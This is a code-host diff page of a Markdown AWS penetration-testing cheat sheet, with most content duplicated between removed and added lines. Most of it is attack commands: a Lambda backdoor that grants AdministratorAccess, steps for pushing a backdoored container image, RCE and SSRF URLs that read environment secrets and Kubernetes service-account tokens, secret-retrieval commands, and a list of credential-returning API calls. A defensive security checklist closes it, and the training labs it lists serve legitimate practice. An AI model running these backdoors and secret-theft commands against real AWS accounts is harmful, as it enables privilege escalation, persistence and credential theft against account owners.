|
-
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
|
|
181
|
-
|
|
182
|
-
# Invoke backdoored function
|
|
183
|
-
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
|
|
184
|
-
```
|
|
185
|
-
|
|
186
|
-
---
|
|
187
|
-
|
|
188
|
-
## Secrets Manager & KMS
|
|
189
|
-
|
|
190
|
-
### Secrets Manager Enumeration
|
|
191
|
-
|
|
192
|
-
```bash
|
|
193
|
-
# List all secrets
|
|
194
|
-
aws secretsmanager list-secrets
|
|
195
|
-
|
|
196
|
-
# Describe specific secret
|
|
197
|
-
aws secretsmanager describe-secret --secret-id NAME
|
|
198
|
-
|
|
199
|
-
# Get resource policy
|
|
200
|
-
aws secretsmanager get-resource-policy --secret-id ID
|
|
201
|
-
|
|
202
|
-
# Retrieve secret value
|
|
203
|
-
aws secretsmanager get-secret-value --secret-id ID
|
|
204
|
-
```
|
|
205
|
-
|
|
206
|
-
### KMS Enumeration
|
|
207
|
-
|
|
208
|
-
```bash
|
|
209
|
-
# List KMS keys
|
|
210
|
-
aws kms list-keys
|
|
211
|
-
|
|
212
|
-
# Describe key
|
|
213
|
-
aws kms describe-key --key-id ID
|
|
214
|
-
|
|
215
|
-
# List key policies
|
|
216
|
-
aws kms list-key-policies --key-id ID
|
|
217
|
-
|
|
218
|
-
# Get full policy
|
|
219
|
-
aws kms get-key-policy --policy-name NAME --key-id ID
|
|
220
|
-
```
|
|
221
|
-
|
|
222
|
-
### KMS Decryption
|
|
223
|
-
|
|
224
|
-
```bash
|
|
225
|
-
# Decrypt file (key info embedded in ciphertext)
|
|
226
|
-
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext
|
|
227
|
-
```
|
|
228
|
-
|
|
229
|
-
---
|
|
230
|
-
|
|
231
|
-
## Container Security (ECS/EKS/ECR)
|
|
232
|
-
|
|
233
|
-
### ECR Enumeration
|
|
234
|
-
|
|
235
|
-
```bash
|
|
236
|
-
# List repositories
|
|
237
|
-
aws ecr describe-repositories
|
|
238
|
-
|
|
239
|
-
# Get repository policy
|
|
240
|
-
aws ecr get-repository-policy --repository-name NAME
|
|
241
|
-
|
|
242
|
-
# List images
|
|
243
|
-
aws ecr list-images --repository-name NAME
|
|
244
|
-
|
|
245
|
-
# Describe image
|
|
246
|
-
aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG
|
|
247
|
-
```
|
|
248
|
-
|
|
249
|
-
### ECS Enumeration
|
|
250
|
-
|
|
251
|
-
```bash
|
|
252
|
-
# List clusters
|
|
253
|
-
aws ecs list-clusters
|
|
254
|
-
|
|
255
|
-
# Describe cluster
|
|
256
|
-
aws ecs describe-clusters --cluster NAME
|
|
257
|
-
|
|
258
|
-
# List services
|
|
259
|
-
aws ecs list-services --cluster NAME
|
|
260
|
-
|
|
261
|
-
# Describe service
|
|
262
|
-
aws ecs describe-services --cluster NAME --services SERVICE
|
|
263
|
-
|
|
264
|
-
# List tasks
|
|
265
|
-
aws ecs list-tasks --cluster NAME
|
|
266
|
-
|
|
267
|
-
# Describe task (shows network info for pivoting)
|
|
268
|
-
aws ecs describe-tasks --cluster NAME --tasks TASK_ARN
|
|
269
|
-
|
|
270
|
-
# List container instances
|
|
271
|
-
aws ecs list-container-instances --cluster NAME
|
|
272
|
-
```
|
|
273
|
-
|
|
274
|
-
### EKS Enumeration
|
|
275
|
-
|
|
276
|
-
```bash
|
|
277
|
-
# List EKS clusters
|
|
278
|
-
aws eks list-clusters
|
|
279
|
-
|
|
280
|
-
# Describe cluster
|
|
281
|
-
aws eks describe-cluster --name NAME
|
|
282
|
-
|
|
283
|
-
# List node groups
|
|
284
|
-
aws eks list-nodegroups --cluster-name NAME
|
|
285
|
-
|
|
286
|
-
# Describe node group
|
|
287
|
-
aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME
|
|
288
|
-
|
|
289
|
-
# List Fargate profiles
|
|
290
|
-
aws eks list-fargate-profiles --cluster-name NAME
|
|
291
|
-
```
|
|
292
|
-
|
|
293
|
-
### Container Backdooring
|
|
294
|
-
|
|
295
|
-
```bash
|
|
296
|
-
# Authenticate Docker to ECR
|
|
297
|
-
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR
|
|
298
|
-
|
|
299
|
-
# Build backdoored image
|
|
300
|
-
docker build -t image_name .
|
|
301
|
-
|
|
302
|
-
# Tag for ECR
|
|
303
|
-
docker tag image_name ECR_ADDR:IMAGE_NAME
|
|
304
|
-
|
|
305
|
-
# Push to ECR
|
|
306
|
-
docker push ECR_ADDR:IMAGE_NAME
|
|
307
|
-
```
|
|
308
|
-
|
|
309
|
-
### EKS Secrets via RCE
|
|
310
|
-
|
|
311
|
-
```bash
|
|
312
|
-
# List Kubernetes secrets
|
|
313
|
-
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
|
|
314
|
-
|
|
315
|
-
# Get service account token
|
|
316
|
-
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
317
|
-
```
|
|
318
|
-
|
|
319
|
-
---
|
|
320
|
-
|
|
321
|
-
## RDS Database Exploitation
|
|
322
|
-
|
|
323
|
-
### RDS Enumeration
|
|
324
|
-
|
|
325
|
-
```bash
|
|
326
|
-
# List RDS clusters
|
|
327
|
-
aws rds describe-db-clusters
|
|
328
|
-
|
|
329
|
-
# List RDS instances
|
|
330
|
-
aws rds describe-db-instances
|
|
331
|
-
# Check: IAMDatabaseAuthenticationEnabled: false = password auth
|
|
332
|
-
|
|
333
|
-
# List subnet groups
|
|
334
|
-
aws rds describe-db-subnet-groups
|
|
335
|
-
|
|
336
|
-
# List security groups
|
|
337
|
-
aws rds describe-db-security-groups
|
|
338
|
-
|
|
339
|
-
# List proxies
|
|
340
|
-
aws rds describe-db-proxies
|
|
341
|
-
```
|
|
342
|
-
|
|
343
|
-
### Password-Based Access
|
|
344
|
-
|
|
345
|
-
```bash
|
|
346
|
-
mysql -h HOSTNAME -u USERNAME -P PORT -p
|
|
347
|
-
```
|
|
348
|
-
|
|
349
|
-
### IAM-Based Access
|
|
350
|
-
|
|
351
|
-
```bash
|
|
352
|
-
# Generate auth token
|
|
353
|
-
TOKEN=$(aws rds generate-db-auth-token \
|
|
354
|
-
--hostname HOSTNAME \
|
|
355
|
-
--port PORT \
|
|
356
|
-
--username USERNAME \
|
|
357
|
-
--region REGION)
|
|
358
|
-
|
|
359
|
-
# Connect with token
|
|
360
|
-
mysql -h HOSTNAME -u USERNAME -P PORT \
|
|
361
|
-
--enable-cleartext-plugin --password=$TOKEN
|
|
362
|
-
```
|
|
363
|
-
|
|
364
|
-
---
|
|
365
|
-
|
|
366
|
-
## DynamoDB Exploitation
|
|
367
|
-
|
|
368
|
-
```bash
|
|
369
|
-
# List tables
|
|
370
|
-
aws dynamodb list-tables
|
|
371
|
-
|
|
372
|
-
# Scan table contents
|
|
373
|
-
aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'
|
|
374
|
-
|
|
375
|
-
# Query specific items
|
|
376
|
-
aws dynamodb query --table-name TABLE_NAME \
|
|
377
|
-
--key-condition-expression "pk = :pk" \
|
|
378
|
-
--expression-attribute-values '{":pk":{"S":"user"}}'
|
|
379
|
-
```
|
|
380
|
-
|
|
381
|
-
---
|
|
382
|
-
|
|
383
|
-
## VPC Enumeration & Lateral Movement
|
|
384
|
-
|
|
385
|
-
### VPC Enumeration
|
|
386
|
-
|
|
387
|
-
```bash
|
|
388
|
-
# List VPCs
|
|
389
|
-
aws ec2 describe-vpcs
|
|
390
|
-
|
|
391
|
-
# List subnets
|
|
392
|
-
aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID"
|
|
393
|
-
|
|
394
|
-
# List route tables
|
|
395
|
-
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID"
|
|
396
|
-
|
|
397
|
-
# List Network ACLs
|
|
398
|
-
aws ec2 describe-network-acls
|
|
399
|
-
|
|
400
|
-
# List VPC peering connections
|
|
401
|
-
aws ec2 describe-vpc-peering-connections
|
|
402
|
-
```
|
|
403
|
-
|
|
404
|
-
### Route Table Targets
|
|
405
|
-
|
|
406
|
-
| Destination | Target | Description |
|
|
407
|
-
|-------------|--------|-------------|
|
|
408
|
-
| IP | `local` | VPC internal |
|
|
409
|
-
| IP | `igw` | Internet Gateway |
|
|
410
|
-
| IP | `nat` | NAT Gateway |
|
|
411
|
-
| IP | `pcx` | VPC Peering |
|
|
412
|
-
| IP | `vpce` | VPC Endpoint |
|
|
413
|
-
| IP | `vgw` | VPN Gateway |
|
|
414
|
-
| IP | `eni` | Network Interface |
|
|
415
|
-
|
|
416
|
-
### Lateral Movement via VPC Peering
|
|
417
|
-
|
|
418
|
-
```bash
|
|
419
|
-
# List peering connections
|
|
420
|
-
aws ec2 describe-vpc-peering-connections
|
|
421
|
-
|
|
422
|
-
# List instances in target VPC
|
|
423
|
-
aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID"
|
|
424
|
-
|
|
425
|
-
# List instances in specific subnet
|
|
426
|
-
aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID"
|
|
427
|
-
```
|
|
428
|
-
|
|
429
|
-
---
|
|
430
|
-
|
|
431
|
-
## Security Checklist
|
|
432
|
-
|
|
433
|
-
### Identity and Access Management
|
|
434
|
-
- [ ] Avoid use of root account
|
|
435
|
-
- [ ] MFA enabled for all IAM users with console access
|
|
436
|
-
- [ ] Disable credentials unused for 90+ days
|
|
437
|
-
- [ ] Rotate access keys every 90 days
|
|
438
|
-
- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars
|
|
439
|
-
- [ ] No root access keys exist
|
|
440
|
-
- [ ] MFA enabled for root account
|
|
441
|
-
- [ ] IAM policies attached to groups/roles only
|
|
442
|
-
|
|
443
|
-
### Logging
|
|
444
|
-
- [ ] CloudTrail enabled in all regions
|
|
445
|
-
- [ ] CloudTrail log file validation enabled
|
|
446
|
-
- [ ] CloudTrail S3 bucket not publicly accessible
|
|
447
|
-
- [ ] CloudTrail integrated with CloudWatch Logs
|
|
448
|
-
- [ ] AWS Config enabled in all regions
|
|
449
|
-
- [ ] CloudTrail logs encrypted with KMS
|
|
450
|
-
- [ ] KMS key rotation enabled
|
|
451
|
-
|
|
452
|
-
### Networking
|
|
453
|
-
- [ ] No security groups allow 0.0.0.0/0 to port 22
|
|
454
|
-
- [ ] No security groups allow 0.0.0.0/0 to port 3389
|
|
455
|
-
- [ ] VPC flow logging enabled
|
|
456
|
-
- [ ] Default security group restricts all traffic
|
|
457
|
-
|
|
458
|
-
### Monitoring
|
|
459
|
-
- [ ] Alarm for unauthorized API calls
|
|
460
|
-
- [ ] Alarm for console sign-in without MFA
|
|
461
|
-
- [ ] Alarm for root account usage
|
|
462
|
-
- [ ] Alarm for IAM policy changes
|
|
463
|
-
- [ ] Alarm for CloudTrail config changes
|
|
464
|
-
- [ ] Alarm for console auth failures
|
|
465
|
-
- [ ] Alarm for CMK disabling/deletion
|
|
466
|
-
- [ ] Alarm for S3 bucket policy changes
|
|
467
|
-
- [ ] Alarm for security group changes
|
|
468
|
-
- [ ] Alarm for NACL changes
|
|
469
|
-
- [ ] Alarm for VPC changes
|
|
1
|
+
# Advanced AWS Penetration Testing Reference
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Training Resources](#training-resources)
|
|
5
|
+
- [Extended Tools Arsenal](#extended-tools-arsenal)
|
|
6
|
+
- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)
|
|
7
|
+
- [Lambda & API Gateway](#lambda--api-gateway)
|
|
8
|
+
- [Secrets Manager & KMS](#secrets-manager--kms)
|
|
9
|
+
- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)
|
|
10
|
+
- [RDS Database Exploitation](#rds-database-exploitation)
|
|
11
|
+
- [DynamoDB Exploitation](#dynamodb-exploitation)
|
|
12
|
+
- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)
|
|
13
|
+
- [Security Checklist](#security-checklist)
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## Training Resources
|
|
18
|
+
|
|
19
|
+
| Resource | Description | URL |
|
|
20
|
+
|----------|-------------|-----|
|
|
21
|
+
| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |
|
|
22
|
+
| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |
|
|
23
|
+
| Flaws | AWS security challenge | flaws.cloud |
|
|
24
|
+
| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |
|
|
25
|
+
| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Extended Tools Arsenal
|
|
30
|
+
|
|
31
|
+
### weirdAAL - AWS Attack Library
|
|
32
|
+
```bash
|
|
33
|
+
python3 weirdAAL.py -m ec2_describe_instances -t demo
|
|
34
|
+
python3 weirdAAL.py -m lambda_get_account_settings -t demo
|
|
35
|
+
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
### cloudmapper - AWS Environment Analyzer
|
|
39
|
+
```bash
|
|
40
|
+
git clone https://github.com/duo-labs/cloudmapper.git
|
|
41
|
+
pipenv install --skip-lock
|
|
42
|
+
pipenv shell
|
|
43
|
+
|
|
44
|
+
# Commands
|
|
45
|
+
report # Generate HTML report
|
|
46
|
+
iam_report # IAM-specific report
|
|
47
|
+
audit # Check misconfigurations
|
|
48
|
+
collect # Collect account metadata
|
|
49
|
+
find_admins # Identify admin users/roles
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### cloudsplaining - IAM Security Assessment
|
|
53
|
+
```bash
|
|
54
|
+
pip3 install --user cloudsplaining
|
|
55
|
+
cloudsplaining download --profile myawsprofile
|
|
56
|
+
cloudsplaining scan --input-file default.json
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### s3_objects_check - S3 Object Permissions
|
|
60
|
+
```bash
|
|
61
|
+
git clone https://github.com/nccgroup/s3_objects_check
|
|
62
|
+
python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### dufflebag - Find EBS Secrets
|
|
66
|
+
```bash
|
|
67
|
+
# Finds secrets exposed via Amazon EBS's "public" mode
|
|
68
|
+
git clone https://github.com/BishopFox/dufflebag
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## AWS API Calls That Return Credentials
|
|
74
|
+
|
|
75
|
+
| API Call | Description |
|
|
76
|
+
|----------|-------------|
|
|
77
|
+
| `chime:createapikey` | Create API key |
|
|
78
|
+
| `codepipeline:pollforjobs` | Poll for jobs |
|
|
79
|
+
| `cognito-identity:getopenidtoken` | Get OpenID token |
|
|
80
|
+
| `cognito-identity:getcredentialsforidentity` | Get identity credentials |
|
|
81
|
+
| `connect:getfederationtoken` | Get federation token |
|
|
82
|
+
| `ecr:getauthorizationtoken` | ECR auth token |
|
|
83
|
+
| `gamelift:requestuploadcredentials` | GameLift upload creds |
|
|
84
|
+
| `iam:createaccesskey` | Create access key |
|
|
85
|
+
| `iam:createloginprofile` | Create login profile |
|
|
86
|
+
| `iam:createservicespecificcredential` | Service-specific creds |
|
|
87
|
+
| `lightsail:getinstanceaccessdetails` | Instance access details |
|
|
88
|
+
| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |
|
|
89
|
+
| `rds-db:connect` | RDS connect |
|
|
90
|
+
| `redshift:getclustercredentials` | Redshift credentials |
|
|
91
|
+
| `sso:getrolecredentials` | SSO role credentials |
|
|
92
|
+
| `sts:assumerole` | Assume role |
|
|
93
|
+
| `sts:assumerolewithsaml` | Assume role with SAML |
|
|
94
|
+
| `sts:assumerolewithwebidentity` | Web identity assume |
|
|
95
|
+
| `sts:getfederationtoken` | Federation token |
|
|
96
|
+
| `sts:getsessiontoken` | Session token |
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Lambda & API Gateway
|
|
101
|
+
|
|
102
|
+
### Lambda Enumeration
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# List all lambda functions
|
|
106
|
+
aws lambda list-functions
|
|
107
|
+
|
|
108
|
+
# Get function details and download code
|
|
109
|
+
aws lambda get-function --function-name FUNCTION_NAME
|
|
110
|
+
wget -O lambda-function.zip "url-from-previous-query"
|
|
111
|
+
|
|
112
|
+
# Get function policy
|
|
113
|
+
aws lambda get-policy --function-name FUNCTION_NAME
|
|
114
|
+
|
|
115
|
+
# List event source mappings
|
|
116
|
+
aws lambda list-event-source-mappings --function-name FUNCTION_NAME
|
|
117
|
+
|
|
118
|
+
# List Lambda layers (dependencies)
|
|
119
|
+
aws lambda list-layers
|
|
120
|
+
aws lambda get-layer-version --layer-name NAME --version-number VERSION
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
### API Gateway Enumeration
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# List REST APIs
|
|
127
|
+
aws apigateway get-rest-apis
|
|
128
|
+
|
|
129
|
+
# Get specific API info
|
|
130
|
+
aws apigateway get-rest-api --rest-api-id ID
|
|
131
|
+
|
|
132
|
+
# List endpoints (resources)
|
|
133
|
+
aws apigateway get-resources --rest-api-id ID
|
|
134
|
+
|
|
135
|
+
# Get method info
|
|
136
|
+
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
|
|
137
|
+
|
|
138
|
+
# List API versions (stages)
|
|
139
|
+
aws apigateway get-stages --rest-api-id ID
|
|
140
|
+
|
|
141
|
+
# List API keys
|
|
142
|
+
aws apigateway get-api-keys --include-values
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### Lambda Credential Access
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Via RCE - get environment variables
|
|
149
|
+
https://apigateway/prod/system?cmd=env
|
|
150
|
+
|
|
151
|
+
# Via SSRF - access runtime API
|
|
152
|
+
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
|
|
153
|
+
|
|
154
|
+
# Via file read
|
|
155
|
+
https://apigateway/prod/system?cmd=file:///proc/self/environ
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
### Lambda Backdooring
|
|
159
|
+
|
|
160
|
+
```python
|
|
161
|
+
# Malicious Lambda code to escalate privileges
|
|
162
|
+
import boto3
|
|
163
|
+
import json
|
|
164
|
+
|
|
165
|
+
def handler(event, context):
|
|
166
|
+
iam = boto3.client("iam")
|
|
167
|
+
iam.attach_role_policy(
|
|
168
|
+
RoleName="role_name",
|
|
169
|
+
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
|
170
|
+
)
|
|
171
|
+
iam.attach_user_policy(
|
|
172
|
+
UserName="user_name",
|
|
173
|
+
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
|
174
|
+
)
|
|
175
|
+
return {'statusCode': 200, 'body': json.dumps("Pwned")}
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# Update function with backdoor
|
|
180
|
+
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
|
|
181
|
+
|
|
182
|
+
# Invoke backdoored function
|
|
183
|
+
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Secrets Manager & KMS
|
|
189
|
+
|
|
190
|
+
### Secrets Manager Enumeration
|
|
191
|
+
|
|
192
|
+
```bash
|
|
193
|
+
# List all secrets
|
|
194
|
+
aws secretsmanager list-secrets
|
|
195
|
+
|
|
196
|
+
# Describe specific secret
|
|
197
|
+
aws secretsmanager describe-secret --secret-id NAME
|
|
198
|
+
|
|
199
|
+
# Get resource policy
|
|
200
|
+
aws secretsmanager get-resource-policy --secret-id ID
|
|
201
|
+
|
|
202
|
+
# Retrieve secret value
|
|
203
|
+
aws secretsmanager get-secret-value --secret-id ID
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### KMS Enumeration
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# List KMS keys
|
|
210
|
+
aws kms list-keys
|
|
211
|
+
|
|
212
|
+
# Describe key
|
|
213
|
+
aws kms describe-key --key-id ID
|
|
214
|
+
|
|
215
|
+
# List key policies
|
|
216
|
+
aws kms list-key-policies --key-id ID
|
|
217
|
+
|
|
218
|
+
# Get full policy
|
|
219
|
+
aws kms get-key-policy --policy-name NAME --key-id ID
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
### KMS Decryption
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
# Decrypt file (key info embedded in ciphertext)
|
|
226
|
+
aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## Container Security (ECS/EKS/ECR)
|
|
232
|
+
|
|
233
|
+
### ECR Enumeration
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# List repositories
|
|
237
|
+
aws ecr describe-repositories
|
|
238
|
+
|
|
239
|
+
# Get repository policy
|
|
240
|
+
aws ecr get-repository-policy --repository-name NAME
|
|
241
|
+
|
|
242
|
+
# List images
|
|
243
|
+
aws ecr list-images --repository-name NAME
|
|
244
|
+
|
|
245
|
+
# Describe image
|
|
246
|
+
aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
### ECS Enumeration
|
|
250
|
+
|
|
251
|
+
```bash
|
|
252
|
+
# List clusters
|
|
253
|
+
aws ecs list-clusters
|
|
254
|
+
|
|
255
|
+
# Describe cluster
|
|
256
|
+
aws ecs describe-clusters --cluster NAME
|
|
257
|
+
|
|
258
|
+
# List services
|
|
259
|
+
aws ecs list-services --cluster NAME
|
|
260
|
+
|
|
261
|
+
# Describe service
|
|
262
|
+
aws ecs describe-services --cluster NAME --services SERVICE
|
|
263
|
+
|
|
264
|
+
# List tasks
|
|
265
|
+
aws ecs list-tasks --cluster NAME
|
|
266
|
+
|
|
267
|
+
# Describe task (shows network info for pivoting)
|
|
268
|
+
aws ecs describe-tasks --cluster NAME --tasks TASK_ARN
|
|
269
|
+
|
|
270
|
+
# List container instances
|
|
271
|
+
aws ecs list-container-instances --cluster NAME
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
### EKS Enumeration
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# List EKS clusters
|
|
278
|
+
aws eks list-clusters
|
|
279
|
+
|
|
280
|
+
# Describe cluster
|
|
281
|
+
aws eks describe-cluster --name NAME
|
|
282
|
+
|
|
283
|
+
# List node groups
|
|
284
|
+
aws eks list-nodegroups --cluster-name NAME
|
|
285
|
+
|
|
286
|
+
# Describe node group
|
|
287
|
+
aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME
|
|
288
|
+
|
|
289
|
+
# List Fargate profiles
|
|
290
|
+
aws eks list-fargate-profiles --cluster-name NAME
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
### Container Backdooring
|
|
294
|
+
|
|
295
|
+
```bash
|
|
296
|
+
# Authenticate Docker to ECR
|
|
297
|
+
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR
|
|
298
|
+
|
|
299
|
+
# Build backdoored image
|
|
300
|
+
docker build -t image_name .
|
|
301
|
+
|
|
302
|
+
# Tag for ECR
|
|
303
|
+
docker tag image_name ECR_ADDR:IMAGE_NAME
|
|
304
|
+
|
|
305
|
+
# Push to ECR
|
|
306
|
+
docker push ECR_ADDR:IMAGE_NAME
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
### EKS Secrets via RCE
|
|
310
|
+
|
|
311
|
+
```bash
|
|
312
|
+
# List Kubernetes secrets
|
|
313
|
+
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
|
|
314
|
+
|
|
315
|
+
# Get service account token
|
|
316
|
+
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
---
|
|
320
|
+
|
|
321
|
+
## RDS Database Exploitation
|
|
322
|
+
|
|
323
|
+
### RDS Enumeration
|
|
324
|
+
|
|
325
|
+
```bash
|
|
326
|
+
# List RDS clusters
|
|
327
|
+
aws rds describe-db-clusters
|
|
328
|
+
|
|
329
|
+
# List RDS instances
|
|
330
|
+
aws rds describe-db-instances
|
|
331
|
+
# Check: IAMDatabaseAuthenticationEnabled: false = password auth
|
|
332
|
+
|
|
333
|
+
# List subnet groups
|
|
334
|
+
aws rds describe-db-subnet-groups
|
|
335
|
+
|
|
336
|
+
# List security groups
|
|
337
|
+
aws rds describe-db-security-groups
|
|
338
|
+
|
|
339
|
+
# List proxies
|
|
340
|
+
aws rds describe-db-proxies
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
### Password-Based Access
|
|
344
|
+
|
|
345
|
+
```bash
|
|
346
|
+
mysql -h HOSTNAME -u USERNAME -P PORT -p
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### IAM-Based Access
|
|
350
|
+
|
|
351
|
+
```bash
|
|
352
|
+
# Generate auth token
|
|
353
|
+
TOKEN=$(aws rds generate-db-auth-token \
|
|
354
|
+
--hostname HOSTNAME \
|
|
355
|
+
--port PORT \
|
|
356
|
+
--username USERNAME \
|
|
357
|
+
--region REGION)
|
|
358
|
+
|
|
359
|
+
# Connect with token
|
|
360
|
+
mysql -h HOSTNAME -u USERNAME -P PORT \
|
|
361
|
+
--enable-cleartext-plugin --password=$TOKEN
|
|
362
|
+
```
|
|
363
|
+
|
|
364
|
+
---
|
|
365
|
+
|
|
366
|
+
## DynamoDB Exploitation
|
|
367
|
+
|
|
368
|
+
```bash
|
|
369
|
+
# List tables
|
|
370
|
+
aws dynamodb list-tables
|
|
371
|
+
|
|
372
|
+
# Scan table contents
|
|
373
|
+
aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'
|
|
374
|
+
|
|
375
|
+
# Query specific items
|
|
376
|
+
aws dynamodb query --table-name TABLE_NAME \
|
|
377
|
+
--key-condition-expression "pk = :pk" \
|
|
378
|
+
--expression-attribute-values '{":pk":{"S":"user"}}'
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
---
|
|
382
|
+
|
|
383
|
+
## VPC Enumeration & Lateral Movement
|
|
384
|
+
|
|
385
|
+
### VPC Enumeration
|
|
386
|
+
|
|
387
|
+
```bash
|
|
388
|
+
# List VPCs
|
|
389
|
+
aws ec2 describe-vpcs
|
|
390
|
+
|
|
391
|
+
# List subnets
|
|
392
|
+
aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID"
|
|
393
|
+
|
|
394
|
+
# List route tables
|
|
395
|
+
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID"
|
|
396
|
+
|
|
397
|
+
# List Network ACLs
|
|
398
|
+
aws ec2 describe-network-acls
|
|
399
|
+
|
|
400
|
+
# List VPC peering connections
|
|
401
|
+
aws ec2 describe-vpc-peering-connections
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
### Route Table Targets
|
|
405
|
+
|
|
406
|
+
| Destination | Target | Description |
|
|
407
|
+
|-------------|--------|-------------|
|
|
408
|
+
| IP | `local` | VPC internal |
|
|
409
|
+
| IP | `igw` | Internet Gateway |
|
|
410
|
+
| IP | `nat` | NAT Gateway |
|
|
411
|
+
| IP | `pcx` | VPC Peering |
|
|
412
|
+
| IP | `vpce` | VPC Endpoint |
|
|
413
|
+
| IP | `vgw` | VPN Gateway |
|
|
414
|
+
| IP | `eni` | Network Interface |
|
|
415
|
+
|
|
416
|
+
### Lateral Movement via VPC Peering
|
|
417
|
+
|
|
418
|
+
```bash
|
|
419
|
+
# List peering connections
|
|
420
|
+
aws ec2 describe-vpc-peering-connections
|
|
421
|
+
|
|
422
|
+
# List instances in target VPC
|
|
423
|
+
aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID"
|
|
424
|
+
|
|
425
|
+
# List instances in specific subnet
|
|
426
|
+
aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID"
|
|
427
|
+
```
|
|
428
|
+
|
|
429
|
+
---
|
|
430
|
+
|
|
431
|
+
## Security Checklist
|
|
432
|
+
|
|
433
|
+
### Identity and Access Management
|
|
434
|
+
- [ ] Avoid use of root account
|
|
435
|
+
- [ ] MFA enabled for all IAM users with console access
|
|
436
|
+
- [ ] Disable credentials unused for 90+ days
|
|
437
|
+
- [ ] Rotate access keys every 90 days
|
|
438
|
+
- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars
|
|
439
|
+
- [ ] No root access keys exist
|
|
440
|
+
- [ ] MFA enabled for root account
|
|
441
|
+
- [ ] IAM policies attached to groups/roles only
|
|
442
|
+
|
|
443
|
+
### Logging
|
|
444
|
+
- [ ] CloudTrail enabled in all regions
|
|
445
|
+
- [ ] CloudTrail log file validation enabled
|
|
446
|
+
- [ ] CloudTrail S3 bucket not publicly accessible
|
|
447
|
+
- [ ] CloudTrail integrated with CloudWatch Logs
|
|
448
|
+
- [ ] AWS Config enabled in all regions
|
|
449
|
+
- [ ] CloudTrail logs encrypted with KMS
|
|
450
|
+
